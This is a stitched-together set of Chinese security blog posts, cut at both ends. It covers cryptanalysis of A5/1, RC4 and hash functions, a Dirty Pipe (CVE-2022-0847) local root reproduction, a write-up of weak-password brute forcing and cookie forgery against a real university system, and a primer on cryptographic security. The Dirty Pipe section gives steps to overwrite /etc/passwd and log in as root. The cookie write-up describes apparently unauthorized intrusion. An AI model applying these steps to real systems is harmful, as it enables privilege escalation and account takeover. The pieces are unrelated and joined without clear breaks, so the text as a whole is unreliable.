subtle attack是挖掘算法内部的线性性质并利用它相对简单的钟控系统,攻击者需要猜测一些内部状态比特以确定其他状态比特,本质上就是遍历第一个和第二个寄存器的所有可能取值以及前11个时钟周期里第三个寄存器的钟控比特的所有可能取值,由此建立方程得到第三个寄存器的内部状态。伪码如下
brutal attack将算法看做是一个64比特输入(内部状态)到64比特(前64比特密钥序列)输出的黑盒,本质是通过消耗内存降低暴力攻击的成本:预算计算一个有2^64个元素的表,表中的元素是每个可能的密钥和其对应的输出。在攻击时,根据输出,通过查表就可以得到对应的密钥。
基于软件
RC4
在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法.RC4应用非常广泛,在WEP中,RC4用于加密802.11帧的有效负载,这些数据通过数据包的形式进行传输。在同一会话中交付的所有有效负载都使用相同的40比特或104比特的密钥,且在帧头有一个唯一的3字节的nonce编码。
这里的关键在于RC4不支持nonce,而在WEP中使用nonce会造成风险,其原因在于:
nonce的比特数太少,只有24比特,这意味着对于攻击者而言,即使每条消息都随机选择一个nonce,只需等到2^12包,就能找到两个用相同的nonce加密的包,他们有相同的密钥序列,攻击者可以用其去解密数据包;此外还有更严重的问题--nonce和密钥的结合方式有助于恢复密钥。WEP中的nonce是公开的,它的三个字节使攻击者能够在密钥编排方案的三次迭代后确定S的值,基于此密钥分析人员发现密码序列的第一个字节和密钥的第一个字节有很强的相关性,其导致的偏差可以被用于恢复密钥。
在实际场景中,这就会造成选择明文攻击。
在TLS中也使用过RC4,这时存在风险的原因是在于,RC4存在统计数据偏差:RC4生成的密钥序列的第二个字节是0的概率是1/128,而理想情况下应该是1/256;不仅如此,实际上,前256个字节都有偏差,之前就有研究人员发现,其中某字节为0的概率为1/256+c/256^2,c取值介于0.24到1.34.
通过这种缺陷去攻击TLS的过程也非常直观,只需要收集密文并寻找明文,攻击者需要收集很多密文,并且这些密文是同不同的密钥对相同的明文加密得到的。设攻击者拿到了同一明文P1加密得到的多组密文,现在要解密明文P1.前4个密文字节是这样的:
由于前面提到RC4存在统计偏差,密钥序列字节SK1i取值为0的可能性更大,所以对应的C1i等于P1的可能性更大。在给定C1i后,为了确定P1,只需计算每个字节值出现次数并返回出现次数最多的那个值,它就是P1.
哈希函数
散列函数(Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做哈希值或散列值(hash values,hash codes,hash sums,或hashes)的指纹。其运行的示意图如下
生日攻击
我们知道哈希函数存在原像攻击和碰撞攻击。
给定任意哈希值H,原像是指满足Hash(M)=H的消息M,原像攻击指给定随机哈希值,攻击者可以找到原始消息,这一般也被称作第一原像攻击。
除此之外,还存在第二原像攻击,即给定消息M1时,攻击者能够找到另一条消息M2,其哈希值与M1的哈希值相同。
而碰撞攻击则是指攻击者可以找到具有相同哈希值的两条不同的消息。
碰撞攻击的本质是鸽巢原理:有n只鸽子和m个鸽洞,所有鸽子都住在鸽巢里,如果n>m,那么至少有二只鸽子必须住在同一鸽巢里。
可以说这是不可避免的,但是对于哈希函数而言,碰撞应该像原始消息一样难于找到。
通过上面的表述,我们可以看到第二原像攻击与碰撞攻击存在一定联系:
第二原像攻击定义为:
给定固定消息m1,找到另一个消息m2,使hash(m2)= hash(m1)。
碰撞攻击定义为:
找到两个任意不同的消息m1和m2,使hash(m1)= hash(m2)。
区别在于第二原像攻击是给定了m1的,而碰撞攻击没有。就攻击难度而言,前者更难。同时,我们也可以看出,任何具有抗碰撞性的哈希函数,也能够抵御第二原像攻击。
找到碰撞与找到原像要快,需要2^(n/2)次
而不是2^n次,这背后的原理我们称之为生日攻击。
生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。
举个例子
设一位老师问一个有30名学生的班级(n = 30)每个人的生日在哪一天以确定是否有两个学生同一天生日(对应碰撞 )。从直觉角度考虑,机率看起来很小。若老师选择特定日期(例如9月16日),则至少有一名学生在那天出生的几率是1-(364/365)^30,约为7.9%。但是,与我们的直觉相反的是,至少一名学生和另外任意一名学生有着相同生日的几率大约为70.63%(n = 30时),即
1-365!(365-n)!x365^n
更简洁的结论就是,如果班级有23人,则其中有两个学生出生日期相同的概率为1/2。
知道生日攻击的原理后,我们看看对应的攻击方案:
朴素的生日攻击方案如下:
1.计算任意选择的2^(n/2)个消息的哈希,并将所有的消息-哈希对存下来
2.重排哈希值列表
3.搜索排序后的列表以查找具有相同哈希值的两个连续条目
可以看到,这种方法需要大量的内存,同时对大量元素进行排序会减慢搜索的速度。
研究人员在此基础上提出了低内存的攻击方案:Rho攻击(来自Pollard Rho算法),流程如下
1.给定具有n比特哈希值的哈希函数,选择一些随机哈希值H1,设H1'=H1
2.计算H2=Hash(H1),H2'=Hash(Hash(H1'))
3.迭代该过程并计算Hi+1=Hash(Hi),Hi+1'=Hash(Hash(Hi')),直到有一个i可以满足Hi+1=Hi+1'
对应的示意图如下
可以看到这个序列最终会形成一个循环,循环从H5开始,找到的碰撞是Hash(H4)=Hash(H10)=H5,只要我们能够找到循环,就能够找到碰撞。对于攻击者而言,首先找到循环点,然后发现碰撞,不需要在内存中存储大量的值,也不需要排序。
循环以及尾部各自有大约2^(n/2)个值,所以大约需要
2^(n/2)x2次哈希运算就能找到碰撞
这里再多说一句,密码学中一般使用Pollard Rho算法分解大整数,其基于大整数n=pq中p和q之间有一个因子很小,在此情况下,可以利用该算法完成对n的分解,它是基于寻找指定哈希函数的碰撞的思想才设计出来的,也就是我们上文提到的过程。假设找到了碰撞,即找到不相等的x,x'并且有
x mod p = x' mod p
那实际上我们就知道x,x'相差p的整数倍,由此可以知道gcd(x-x',n),如果不是1也不是n,那么就分解成功。
长度扩展攻击
对消息进行哈希处理的最简单方法就是将其分成多个分组,并使用类似的算法连续处理每个分组。这种方法被称为迭代哈希,其主要有两种形式:
1.使用压缩函数迭代哈希,将输入转换为较小的输出,如下所示
这种结构也被称为Merkel-Damgard结构
2.使用将输入转换为相同大小的输出的函数进行迭代哈希,是的任意两个不同的输入给出两个不同的输出,如下所示
这种函数被称为海绵函数
基于M-D结构的有MD4,MD5,SHA-1,SHA-2系列,基于后者的最著名的海绵函数是Keccak,也被称为SHA-3。
对于M-D而言,其主要威胁就是长度扩展攻击。长度扩展攻击是指一种针对特定加密散列函数的攻击手段,攻击者可以利用H(消息1)和消息1的长度,不知道消息1内容的情形下,将攻击者控制的消息2计算出H(消息1 ‖ 消息2)。我们来看下面的例子
设存在未知消息M的Hash(M),M由M1,M2组成,那么攻击者对于任意消息M3都可以确定Hash(M1||M2||M3)。这种攻击可行的原因在于M1||M2的哈希是跟在M2之后的链值,所以可以将另一个分组M3添加到哈希中。
SHA-2就存在这个问题,解决方案也很简单,如BLAKE2中让最后一个压缩函数与其他函数都不同即可。
绕过存储证明协议
存储证明协议在云计算中应用广泛,其使用哈希函数,使得服务器能够向用户证明服务器确实存储了应该存储的用户文件。Kotla等人就提出一种存储证明协议(详情见SafeStore: A Durable and Practical Storage System ),设要存的文件为M,过程如下:
1.客户端选择一个随机值C并发送给服务器
2.服务器计算Hash(M||C)并返回给客户端
3.客户端计算Hash(M||C)并比服务器返回的值作比较,如果吻合则说明服务器确实存储着M
这个协议可行的前提是如果服务器不知道M,那么就不能正确计算出H(M||C)
但是这里的缺陷在于,Hash是一个迭代的哈希,其会逐分组处理输入信息,计算每个分组之间的中间链值。服务器利用这一点完成可以实现欺骗,怎么做呢?
当服务器接收到M时,计算H1=Compress(H0,M1),H0是哈希函数的初始值,然后记录H1并删除M,此时服务器已经没有存储着M了。当客户端发送C时,服务器可以计算出Compress(H1,C)并将其作为Hash(M||C)的结果返回。此时客户端会验证成功,由此就欺骗了该协议。
对于SHA-1,SHA-2,SHA-3以及BLAKE2都存在这个问题。其实对应的解决方案很简单,要求服务器计算Hash(C||M)而不是Hash(M||C)即可。
参考
1.https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf
2.https://en.wikipedia.org/wiki/Slide_attackhttps://crypto.stackexchange.com/questions/17869/lfsr-output-sampling-for-berlekamp-massey
3.https://ieeexplore.ieee.org/document/6378229
4.https://eprint.iacr.org/2018/522.pdf
5.https://en.wikipedia.org/wiki/Cube_attack
6.http://www.dcs.fmph.uniba.sk/diplomovky/obhajene/getfile.php/master-mv.pdf?id=132&fid=219&type=application%2Fpdf&&
7.SafeStore: A Durable and Practical Storage System
CVE-2022-0847漏洞复现及修复建议
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
漏洞描述
CVE-2022-0847是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权。目前该漏洞的EXP已经公开,且处于在野利用。
影响版本
Linux kernel>=5.8
漏洞复现
这里利用的linux内核版本为5.9,因为之前ubuntu的内核版本为4.5.0
所以需要对linux的内升级
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900_5.9.0-050900.202010112230_all.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-image-unsigned-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-modules-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
下载完毕后安装
sudo dpkg -i *.deb
之后重启虚拟机即可,如果中间报错的话,需要重新下载依赖进行安装,这里升级依赖可参考
https://blog.csdn.net/qq_50598558/article/details/119063124 重启之后内核版本成功升级为5.9.0
利用exp进行提权,编译提权脚本
gcc -o exploit exploit.c
./exploit
临时目录/tmp下生成了一个passwd的备份文件
这个时候需要利用低权限用户将原来的passewd文件进行覆盖
mv /tmp/passwd.bak /etc/passwd
这个时候已成功提权,利用密码为aaron对root用户进行登录
修复建议
• 建议将linux内核升级为安全版本,目前在 Linux 5.10.102、5.15.25 和 5.16.11版本已修复。
• 存在问题终端或者服务器不要映射在公网上。
记一次COOKIE的伪造登录
一次未授权访问和COOKIE的伪造登录
0x01:发现它的网址如此
通过信息收集—发现它的密码规则如下(因重点是COOKIE的伪造登录,故密码规则就不放图了,你懂的…)
账户: xxxx
密码: Aa1xxxx
0x02:爆破一个弱口令的账户进去,发现是低权限,java写的网址…(java写的一般涉及的都是越权,未授权之类的额….)
0x03:仔细捣鼓了许久,发现毛线都没有一个….
get请求,无明显的越权操作….
0x04:正当毫无思绪的时候,换了个思路去想,如果能拿到高权限的账户,就可以发现进一步有哪些操作…如果去发下拿下账户是高权限….此时,看到这我陷入了沉思,一般这种情况都会暴露用户名,再结合密码规则..,去看看,看能不能摸到管理员…
0x05:通过发现的用户名,打算进行弱口令尝试
但是突然发现它的url有点怪…
http://xxxxx.xxxxx.edu.cn/xxxxxx/frame.htm?title=&url=http://xxxxx.xxxxx.edu.cn/xxxxxx&
/common/user_xxxxxx/&plug_in_js=&system_owner_app=/xxxxxx&_system_todo=newReceiver(true)
就直接马上想到未授权这一块….
直接掏出其他浏览器,不进行登录,进行进行访问..
好家伙,直接未授权..
既然未授权存在,那么这个系统在web端多半就千疮百孔….
………
现在的目标就是拿到高权限的用户,然后找到它的有价值的url直接未授权即可,然后再测试cookie的伪造……
只撞到一个管理员权限..
0x06:现在高权限用户拿到了,刚刚已经说了,存在未授权的漏洞,现在马上试试,看能不能在账户管理这个地方是否有未授权..(发现不存在未授权,但存在COOKIE伪造)
注意,我在burosuit中通过查看匹配,来判断是否能够访问成功。
当有cookie的时候
0x07:按道理来说,不应该如此,应该存在其他漏洞,于是我我就慢慢去删除COOKIE找到最后端验证的COOKIE,也就是COOkie的伪造是存在。
后面的过程就是不停的伪造,管他什么未授权漏洞,还是COOKIE伪造,一锅烩了,全部COOKIE伪造就好…….
到此为止,这个简单的系统就摸进去了…
总结思路:
1.先是通过弱口令规则,发现存在未授权。
2.再通过弱口令规则,找到管理员,进行继续找危害大的未授权url。
3.再寻找过程中,发现账户账户管理处存在不存在未授权,而是存在COOKIE的伪造….
4.点到为止…
换个网址…好家伙,还通杀….
总结:
1.Java类型的网站,感觉挖的更多是越权,未授权的这一块。
2.在测试过程中,每个点都不能放过…
3.挖洞更多的是细心。
实验推荐
实验:Cookie注入(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014081415213800001>>
密码学的安全性浅析-1
前言
我们一直都在说,密码学是网络空间安全领域的唯一理论支撑,大家都认为密码学是安全的压舱石。
密码学对安全的关键意义毋庸讳言,安全领域非密码学的师傅们而言,对于密码学的认识可能限于打CTF时接触的基础的凯撒密码、栅栏密码到涉及分析的padding oracle attack等,再到要读最新的论文手动编程才能求解的一些问题。
大家对密码学的安全性问题了解并不足够,本系列文章核心来自我们在学习相关文献时的学习记录,整理成文希望能够提升大家对”压舱石“安全性的认识。
具体而言,在本篇文章中,我们会介绍密码学的安全性的定义、如何保证安全性;之后会介绍古典密码及其本质的缺陷,然后引出一次一密;接着会定义攻击模型及安全目标,并通过分析引出随机性的重要性,为了便于理解,在文中会时刻举例说明,同时给出实际中由于对密码学安全性理解不足而发生过的安全事故。
安全性
密码学中的安全性与计算机中的安全性是存在区别的。
计算机安全,我们以软件安全为例,其目标是防止攻击者利用程序代码触发漏洞,而密码学安全的目标是使定义明确的问题无法求解。对于软件安全而言,一个软件要么是安全的,要么是不安全的,但是对于密码领域的程序而言,安全与否并不是绝对的,我们可以计算出破解加密算法所需的工作量,即量化其安全性,但是却不能绝对称其为安全。
密码学中的安全性可以分为两种:理论安全性与计算安全性。当攻击者拥有无限时间和资源还是不能破译密码时,称其为理论安全,也叫做无条件安全,下文会介绍的一次一密便是典型;而如果一个密码算法在给定时间和资源内无法被攻破,则称其为计算安全的,这与攻击者的能力、目标等条件密切相关,在下文我们会根据不同的条件建立不同的攻击模型与安全目标等。
举个例子,设一个密码算法E的密钥K是128比特,加密过程为C=E(K,P),已知一个明文-密文对(P,C),但是不知道K。
求K,这个问题不是理论安全的,因为我们可以穷举2^128种可能;但是这个问题是计算安全的,因为即使一秒钟可以穷举1000亿个K,要穷举
2^128个K要花费超过100 000 000 000 000 000 年的时间,在实践中是安全的。
形式化及度量
我们这里可以给出形式化的定义,设对于一个密码方案,攻击者最多能执行t个操作,攻击成功概率不高于ε,则该方案是(t,ε)-安全的,此时给出的是破解密码算法的难度的下限。注意,这意味着,没有攻击者能够在执行小于t次操作得情况下,获得概率为ε的成功率,但是这并不是说明攻击者执行t次就恰好可以成功,也不会说明需要具体多少次才能成功,所以t实际上是攻击算法所需的操作量的下界。
还是以攻击128比特密钥的对称密码算法为例,理想情况下,此密码对于1到2^128之间的任何t值都是
(t,2/2^12)-安全的,最好的攻击就是暴力破解。我们可以计算以下三种可能的攻击的成功概率:
1.t=1,说明攻击者尝试了一个密钥,并以ε=1/2^128的概率成功
2.t=2^128,说明攻击者尝试了所有密钥,其中一定有一个是成功的,所以成功概率ε=1
3.t=2^64,此时的成功概率ε=
2^-64,也就是说,攻击者尝试所有密钥的一小部分时,成功概率与尝试的密钥数量成正比。
从这个例子我们可以看出,对于1到2^n比特之间的任意t,一个n比特密钥的密码至多是
(t,t/2^n)-安全的,因为无论密码多强大,暴力破解总是可以成功的,实际中的关键就是在于能够抵抗暴力攻击多久。
我们可以对(t,ε)-安全进一步简化。我们说当攻击成功至少需要t次操作时,称其为t-安全,这里我们实际上假设ε是接近1的概率,通过比特表示安全性,”n比特安全“说明攻破它需要2^n次操作。
而直到操作次数后,我们就可以通过取其对数确定其安全强度。假设需要1000000次操作,则其安全强度为log2 1000000=20比特。
其他因素
虽然比特安全性在比较不同密码的安全强度时很有用,但是其没有提供足够的关于攻击成本的信息,仅仅通过比特安全性并不能说明什么,比如两个密码都有128比特密钥和128比特安全性,但是第一个密码比第二个快100倍。那么实际上对第二个密码进行暴力破解2^128次时,可以对第一个密码做
100x2^128次操作了,如果我们以第一个快密码为标准,那么破解慢密码需要
2^134.64次操作。
那么,这能够说明第二个密码比第一个密码安全吗?当然不行,所以我们还需要考虑其他因素。
并行性
设有两个攻击,每个攻击都需要2^56次操作,第一种攻击只能串行,第二种攻击可以并行。假设我们有
2^16=65536个处理器,那么可以将并行工作的负载分成65536个独立任务,每个任务只需要执行
2^40次操作即可。
也就是说,即使并行攻击和顺序攻击执行相同数量的操作,但是并行攻击比顺序攻击快65536倍。
内存
这实际上和攻击所用的空间成本有关,即攻击需要多次内存查找、内存访问速度、访问数据大小等,这些对时间的影响非常关键。例如在当前的CPU上,从寄存器读数据需要1个周期,从CPU缓存读数据需要20个周期,从DRAM读数据需要100个周期。
预计算
这一般被称作攻击的离线阶段,这些操作只需要执行一次,在后面的攻击中就可以重复使用。比如彩虹表破解hash就是这一类,虽然在计算彩虹表进行预计算时会花费大量时间,但是在实际攻击过程中很快就可以实施。
目标数量
攻击目标数量越多,攻击面就越大,攻击者就可以拿到更多关于密钥的信息。举个例子,设目标为n比特的密钥,需要2^n次尝试才能找到正确的密钥,但如果攻击目标为多个n比特密钥,即对于单个明文P,攻击者有M个不同的密文,其分别用M个n比特密钥加密得到。如果攻击者要破解的是M个密钥中的每一个,那么还是需要
2^n次操作,但是如果只需要破解M个中的一个,那么只需要
2^n/M次操作。
也就是说,攻击成本随着目标数量增加而降低。
安全性证明
要评估某密码算法的安全性,我们一般会通过数学证明得到。
在密码学中其被称为可证明安全性,它可以证明某个密码方案至少和解决另一个已知的困难问题是同等困难的,只要困难问题仍然存在,那么方案就是安全的,这种证明方式被称为规约,其来自复杂性理论。
安全性证明根据其所使用的困难问题的类型,可以分为两种:与数学问题相关、与密码问题相关。
与数学问题相关
破解这类方案至少与解决一些数学难题一样困难。
密码学中一个著名的数学难题就是大数分解,RSA正是依赖于它。RSA通过计算C=p^e mond n来加密明文p,其中,e和大数n=pq是公钥。
通过P=c^d mond n解密,其中d是和e、n有关的私钥。
如果我们可以分解n,那么就可以从公钥中恢复私钥来破解RSA;如果有私钥,就可以分解n。
换句话说,恢复RSA私钥和分解大数n是等价的困难问题,这就是我们所说的归约。
与密码问题相关
这类方案是与另一个密码方案比较,并证明只有破解第一个密码方案时,才能破解第二个密码方案。对称密码的安全性证明常用这种方式。
不过可证明安全性并不适用于所有类型的算法,有一些密码算法并没有被证明是安全的,如AES,AES不能规约到一些众所周知的难题,既不与数学问题相关,也不与密码问题相关,而我们之所以还用AES,是因为许多专家尝试破解它但是失败了。此时的安全性证明,我们成为启发式的:密码分析人员分析多轮后,密码算法的安全冗余还是很高,我们就相信它是安全的。
错误的安全性证明
我们已经说了安全性证明非常重要,但是密码学大佬们在进行安全性证明时仍然有可能犯错,对于OAEP的证明就是一个典型例子。OAEP是一种使用RSA实现安全加密的方法,在许多应用程序中使用,OAEP给出的安全性证明中声称其抵抗选择密文攻击的有效期为7年,但是后来大家研究发现证明是错误的,给出的结论也是错误的。之后给出了新的证明,结论是OAEP对选择密文攻击是安全的。
古典密码
古典密码是计算机发明之前的密码,算法作用在字母上而不是比特位上。古典密码中最经典的就是凯撒密码和维吉尼亚密码,二者的基础知识背景这里不再介绍。
凯撒密码
凯撒密码容易被破解,只需要把密文往前移动3位即可得到响应的明文。这种方式安全程度非常低,在古罗马时期经常被使用,不过实际上,前些年意大利警方还通过破译一种凯撒密码的变种抓到了黑手党头目。要增强凯撒密码的安全性,可以改变移位的位数,不过即使这么做了,攻击者最多尝试25次也就可以解密了。
维吉尼亚密码
维吉尼亚密码虽然比凯撒密码安全了很多,但还是容易被攻破。
举个例子,明文“THEY DRINK THE TEA"通过密钥”DUH“加密后的密文为”WBLBXYLHRWBLWYH“
第一步找出密钥的长度。我们注意到密文中WBL出现了2次,间隔9个字母,这意味着相同的3个字母被用同样的移位模式加密,所以密钥长度要么是9,要么能够整除9.而在英语中,THE是最常出现的3个字母的组合,所以我们可以认为这个重复的3个字母为THE,那么可能的密钥就是DUH.
第二步使用频率分析法找出字母分布的不均匀性。在英语中E是最常见的字母,所以如果密文中X出现次数最多,那么X对应的明文很可能就是E
工作原理
通过上面对两种古典密码的简单分析,我们已经知道密码的工作原理主要就是置换和模式。
置换是指能够变换一个对象的函数,且对每个对象都有唯一的逆(如凯撒密码中的3字母移位),而模式则是通过置换处理任意长度的消息的算法(如凯撒密码中的模式就是对每个字母施加相同的置换,而维吉尼亚密码中则是对不同位置的字幕施加不同的置换)
置换
并不是任意置换都是安全的,为了保证安全,置换需要满足:密钥确定置换,只要密钥保密,则置换保密。不同的密钥确定不同的置换。置换应当看起来随机,经过置换的密文应该没有显著的特征或者可识别的模式。
如果满足以上条件,则称这种置换为安全置换,但是这仅是建立安全密码的必要不充分条件,因为其还和模式相关。
操作模式
在说明操作模式为什么也是建立安全密码的必要条件之前,我们举个例子。
假设我们现在已经有一种安全的置换:A->X,B->M,N->L
那么对于香蕉的英文BANANA则有密文:MXLXLX
我们注意到,仅仅对明文中的所有字母施加相同的置换,在密文中会表现出一种重复的模式,攻击者分析这种模式,即使不能获得完整的信息,但是也能获得一部分信息,比如在这个例子的密文中我们看到在字母的第2,4,6位出现相同的字母,在3,5位出现了相同的字母,如果攻击者知道密文对应的是一种水果,那么攻击者很容易推测出这是BANANA,而不是ORANGE等其他水果。
从这个例子可以看出模式的重要性,模式通过对相同的字母施加不同的置换从而降低了明文中重复字母在密文中表现出的特征的风险。以维吉尼亚密码为例,如果密钥长度为N,那么就有N种不同的置换被施加在连续长度为N的字母串上,不过如果N并非足够长,我们就可以通过频率分析对其进行攻击。所以,如果维吉尼亚密码并应用于加密与密钥长度相同的明文,则频率分析就失效了。
一次一密
我们回过头来在看古典密码,它注定是不安全的,以我们现在的计算能力分分钟就能攻破它。我们知道,为了确定安全,置换应该看起来是随机的,最好的方法就是从所有置换的集合中随机选择每个置换。实际上可以选择的置换有很多,对于字母表,有26!,约等于2^88种置换,但是古典密码却只能使用其中的一小部分。
此外,置换不仅仅可以通过字母移位进行,还可以使用其他操作如乘法、加法等,这便是现代密码了,比如给定128比特密钥,然后进行一定比特位的操作来加密单个字母。
古典密码是绝对不安全的,那么有没有绝对安全的密码呢?
有的,那便是我们这里有介绍的一次一密。
一次一密有绝对的保密性,即使攻击者有无限的计算能力,也无法了解除明文长度以外的任何信息。
设明文为P,密钥为K,其长度与P相等,密文为C,则一次一密的加密过程为:
这个符号是异或运算符
解密则是
一次一密的关键在于密钥K只能使用一次。如果使用两次,设分别将明文P1,P2加密为C1,C2,则攻击者通过如下运算
可以得到P1,P2的异或结果,从而导致信息泄露(当攻击者这知道一条明文时,就可以通过上式结果推出另一条明文)
一次一密的不便之处在于密钥长度需要和明文一样,除了这个缺点外,是非常完美的。香农在上世纪40年代的时候就已经证明了其安全性。
香农指出,要实现完美的保密,一次一密的密钥必须至少与明文一样长,这样攻击者就无法在给定密文的情况下排除任何可能的明文。
这是非常直观的,如果K是随机的,那么C也是随机的,因为随机字符串与任何固定字符串异或得到的结果也是随机的。随机比特串第一位为0的概率为1/2,一个随机比特与另一比特异或的结果为0的概率为1/2,在任意长度的比特串上这一点都成立。换句话说,对于不知道K的攻击者而言,即使其拥有的时间和算力是无限的,但是对他而言C依然是随机的。
假设C长度为128比特,那么有2^128种可能的密文,对于攻击者而言,
就有2^128种可能的明文。如果密钥长度小于128,即可能的密钥少于
2^128种,那么攻击者可以排除某些明文。比如密钥为64比特,那么攻击者可以确定
2^64种可能的明文,这就排除了大多数的128位比特串。
此时攻击者可能不知道明文是什么,但是其知道明文不是什么,从而破坏了完美保密性。
现在我们已经知道,古典密码不安全,一次一密不实用,那么怎么设计安全和实用兼顾的密码呢?
攻击模型与安全性
如果一个密码体制是安全的,必须要定义好对应的攻击模型和安全性目标。攻击模型是关于攻击者可能与密码算法如何交互以及攻击者能力的一系列假设。在进一步分析之前,我们要先了解Kerckhoff原则,其指出,密码的安全性应仅取决于密钥的保密性,而不应取决于密码算法的保密性。
黑盒模型
如果攻击者只能看到密码模型的输入和输出,则称其为黑盒模型。黑盒模型中依据从最弱到最强的顺序列举如下:
唯密文攻击(ciphertext-only attackers,COA):仅知道密文,但不知道相关的明文,也不知道有哪些可以选择的明文。此时攻击者是完全被动的,无法执行加密或解密操作
已经明文攻击(known-plaintext attackes,KPA):知道密文以及其对应的明文。此时攻击者也是被动的,不过它可以获得一系列明文-密文对,其中明文是随机选择的。
选择明文攻击(chosen-plaintext attacks,CPA):可以对选定的明文进行加密并得到对应的密文。此时的攻击者是主动的
选择密文攻击(chosen-ciphertext attackers,CCA):可以进行加密和解密。注意,这个模型只是表示攻击者可以介入加密和查看明文的情况,其解密的内容并不一定足以攻破系统。
灰盒模型
灰盒模型中,攻击者可以访问密码的实现,比如对于智能卡、嵌入式系统等,攻击者对其拥有物理访问权限,从而可以篡改算法的内部结构。这类模型中最典型的一类就是侧信道攻击。
侧信道攻击依赖于密码实现的信息源,攻击者观察密码实施时的模型特征,比如对于软件而言,可以观察其执行时间、错误消息、返回值、分支等,对于硬件而言,可以观察其功耗、电磁辐射等。
侵入式攻击也属于灰盒模型,其可以通过激光故障注入等方法改变芯片的行为。
安全目标
我们之前一直都没有明确定义密码的安全目标,只是笼统地说,能让攻击者对密码一无所示的就是好方法,实际上这是远远不够的。实际上,已经有两个常用的安全目标了。
1.不可区分性(indistinguishability,IND):密文应与随机字符串没有区别。关于这一点,可以通过一个game说明。
设攻击者选定两个明文,收到两者的密文之一,攻击者无法分辨出这是哪个明文对应的密文
2.不可展性(non-malleability,NM):给定密文C1,应该不可能创建另一个密文C2,使其对应的明文P2以有意义的方式与P1相关
IND-CPA
上述的安全目标仅在于具体的攻击模型结合时才有用,一般我们会写作GOAL-MODEL,如IND-CPA,表示的是针对选择明文攻击者的不可区分性。
以IND-CPA为例,这是最重要的安全概念之一,这也称为语义安全,只要密钥保密,密文就不会泄露任何有关明文的信息,当对同一明文加密两次时,加密系统会返回不同的密文。
IND-CPA的关键是随机化,我们还是以IND game为例。设攻击者选择两个明文P1,P2并接受两个明文之一对应的密文但是不知道它对应的是哪一个明文。在CPA模型中,攻击者可以执行加密以获得大C1=E(K,P1),C2=E(K,P2),如果加密不是随机的,那么攻击者查询Ci是否等于C1或C2就可以确定对哪个明文加密,从而赢得game。
实现IND-CPA最简单的方式就是使用确定性随机比特发生器(deterministic random generator,DRBG),它可以返回给定的某些秘密值的随机比特:
E(K,R,P)=(DBRG(K||R)异或P,R)
上式中的R是每次加密随机选择的字符串,并与密钥K一起提供给DRBG,如果其生成的是真随机比特串,那么该密码的就是IND-CPA安全的。
这里我们只是简单分析了IND-CPA,这种GOAL-MODEL组合还有很多,比如NM-CPA,NM-CCA,IND-CPA,IND-CCA等,他们之间的一些关系是很明显的:IND-CCA蕴含着IND-CPA,NM-CCA蕴含着NM-CPA,因为CPA攻击者可以做的事情CCA攻击者也可以做。
以上我们都还是考虑了对称密码,对于非对称密码而言,由于任何攻击者都可以使用公钥加密,所以模型默认都是CPA的
弱密码算法
尽管我们已经介绍了相关的密码学概念,但是在实际中如果没有选择适当的密码算法、模型等,还是会造成严重的危害。
在GSM时代,手机通信的加密使用了A5/1的算法,通过建立查找表便可以对其进行攻击。在参考连接6中,可以看到详细的情况。
错误模型
即使密码使用者学习过安全模型,但还是有可能使用错误模型。很多通信协议确实使用了在CPA或CCA中安全的算法,但是实际中有些攻击是不需要涉及CPA中的加密查询或CCA中的解密查询的,比如对于Padding oracle attack而言,只需要进行有效性查询即可,在这种攻击方案下,只有密文对应的明文有适当的填充时,密文才有效,如果填充不正确,解密就会失败,攻击者可以通过观察解密是否失败进行攻击。
这种攻击方案,打CTF的师傅们应该很熟悉了,这里也不再进一步说明,有兴趣的话也可以参考《白帽子讲web安全》中的相关章节。
随机性
我们已经知道,在密码系统中,需要随机性来保证安全。可以说,其中的关键就在于随机比特的生成,其依赖于熵源以及从熵源产生随机比特的算法。
熵源由随机数发生器(RNG)提供,算法由伪随机数发生器(PRNG)提供。
RNG的作用是利用模拟世界中的熵在数字系统中生成不可预测的比特,比如从温度、噪声、静电测量中采样出比特信息,也可以从传感器,IO,系统日志等提取正在运行的OS中的熵。而PRNG的作用则是从一些真正随机的比特生成许多人为的随机比特。
总结来说,RNG以非确定的方式从模拟源生成真随机比特,不保证高熵,而PRNG以确定的方式从数字源生成看起来随机的比特,并具有最大熵。
在随机性方面可能出现哪些问题呢?
熵源不理想
一开始的Netscape浏览器的SSL代码是根据如下所示的伪码计算出128比特的PRNG种子的
这里的问题在于,PID和microseconds是可以被猜测的,如果可以猜到seconds,那么microseconds就只有10^6个可能的值
这是Log(10^6)的熵,大约20比特
另外,PID和PPID各15比特,所以本应有15+15=30比特的熵,但是在标注的1中,可看到,PPID和PID有3比特的重叠,所以只能产生15+12=27比特的熵
所以一共的熵为20+27=47比特,但是128比特的种子应该128比特的熵才对。这是熵源不理想的典型例子。
启动时熵不足
前些年有研究人员扫描整个互联网并从TLS证书和SSL主机中提取公钥,发现一些系统具有相同的公钥,私钥也非常相似。这是非常不合常理的,因为一般情况下,对于两个不同的大数n=pq,n'=p'q',p与p'不相等,q与q'不相等,但是研究人员发现经常会有n与n'不相等的情况下,p=p'
后面发现这其中的原因是,尽管使用了不错的PRNG,但由于在初次启动时会尽早生成公钥,所以在收集到足够的熵之前,如果基础熵源选取相同,那么不同系统中的PRNG会产生相同的随机比特。
会生成相同的密钥,是由于以下伪码中的密钥生成方案造成的
